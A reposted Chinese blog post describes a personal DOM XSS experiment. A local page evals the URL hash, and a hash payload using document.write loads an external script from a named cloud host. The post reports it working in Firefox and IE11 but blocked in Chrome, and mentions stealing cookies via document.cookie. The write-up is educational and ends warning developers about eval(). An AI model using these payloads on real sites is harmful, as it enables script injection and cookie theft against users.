博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
记一次简单的DOM XSS攻击实验
阅读量:6791 次
发布时间:2019-06-26

本文共 1659 字,大约阅读时间需要 5 分钟。

之前就对XSS有所耳闻,不过昨天在学习《深入浅出nodejs》过程中,才深入了解到XSS攻击的原理,于是找到那本很早就想看的《web前端黑客技术解密》,找到 跨站攻击脚本XSS 章节,于是有了下面这个简单的XSS攻击实验。

index.html

    
XSSdemo

关键代码:eval(location.hash.substr(1))

xss.js(XSS攻击脚本,存储在七牛云上:)

alert("你的网站被XSS攻击了!")

关键代码:alert("你的网站被XSS攻击了!")

Cookie被经常当作输入点,可以使用escape(document.cookie)来获取用户Cookie中保存的敏感信息,例如电话号码,密码等等。

如何进行攻击?

待访问文件xss.html的url上加上hash值。

#document.write("<script/src=//http://ov6jc8fwp.bkt.clouddn.com/xss.js></script>")

例如:

file:///C:/Users/jack/Desktop/XSSdemo/index.html#document.write("<script/src=//;</script>")

在真实环境中,这段file:///C:/Users/jack/Desktop/XSSdemo/可以是:80/,:8080/等真实地址。

完整形式如::8080/index.html#document.write("<script/src=//;</script>")

可以攻击Chrome吗?

在Chrome中输入

file:///C:/Users/jack/Desktop/XSSdemo/index.html#document.write(<script/src=//;</script>")

会被Chrome拦截,拦截截图如下:

为什么会被拦截?

因为Chrome 的filter防御机制会导致这个无法成功,其它浏览器可以被攻击。

那么如何攻击FireFox呢?

(浏览器版本为Firefox 57.0 Quantum版)

需要对原始攻击代码做下简单调整。
eval(decodeURI(location.hash.substr(1)))
相应的访问链接也更改为file:///C:/Users/jack/Desktop/XSSdemo/index.html#document.write(<script/src=http://ov6jc8fwp.bkt.clouddn.com/xss.js></script>")

XSS攻击FireFox成功!

可以看到,XSS脚本被成功写入到index.html

IE可以被攻击吗?

(浏览器版本为IE11.726.15063.0 )

XSS攻击IE11成功!

攻击了这么久,难道我是要去绿,哦不,黑别人吗?

NoNoNo,我是为了让自己的网站更加安全。

之前有了解到javascript的eval()会有安全问题,通过今天的例子,才明白eval()原来会帮助 XSS攻击输入点代码进行攻击,例如:

本例中的输入点为location.hash.substr(1),其值为'document.write(<script/src=;</script>")'

本质上eval(decodeURI(location.hash.substr(1)))

其实就是执行了eval'(document.write(`<script/src=;</script>")')

简单来说,eval()会执行XSS跨站攻击脚本,前端工程师在开发过程中要注意eval()使用存在的安全隐患。

对于浏览器喜爱程度,我想Chrome在防御XSS攻击方面又为自己加了不少分,以后强推Chrome又多了一个理由。

其实关于XSS攻击还有很多学问在其中,我所了解到的只是冰山一角,后续再继续探索!

That's it !

转载地址:http://fqogo.baihongyu.com/

你可能感兴趣的文章
基于JSTL自定义标签库
查看>>
hibernate里使用JDBC查询示例代码
查看>>
关闭tomcat命令窗体
查看>>
使用hive的常用命令语句
查看>>
Javascript 作用域和变量提升
查看>>
1-junos基本操作
查看>>
Servlet 工作原理解析
查看>>
怎样打造一个DOM元素位置引擎 (一)
查看>>
P1005
查看>>
std 与标准库
查看>>
Redis入门之一简介
查看>>
spring security3.x学习(13)_第三个例子要使用hsql数据库
查看>>
这里是黑房子开发者社区
查看>>
★思维导图的30个问答
查看>>
Xcode 6更新默认不支持armv7s架构
查看>>
python正则表达式替换函数中的回调函数
查看>>
用python 10min手写一个简易的实时内存监控系统
查看>>
oralce-MD5加密函数
查看>>
Linux下Redis的安装和使用
查看>>
NIO文章翻译
查看>>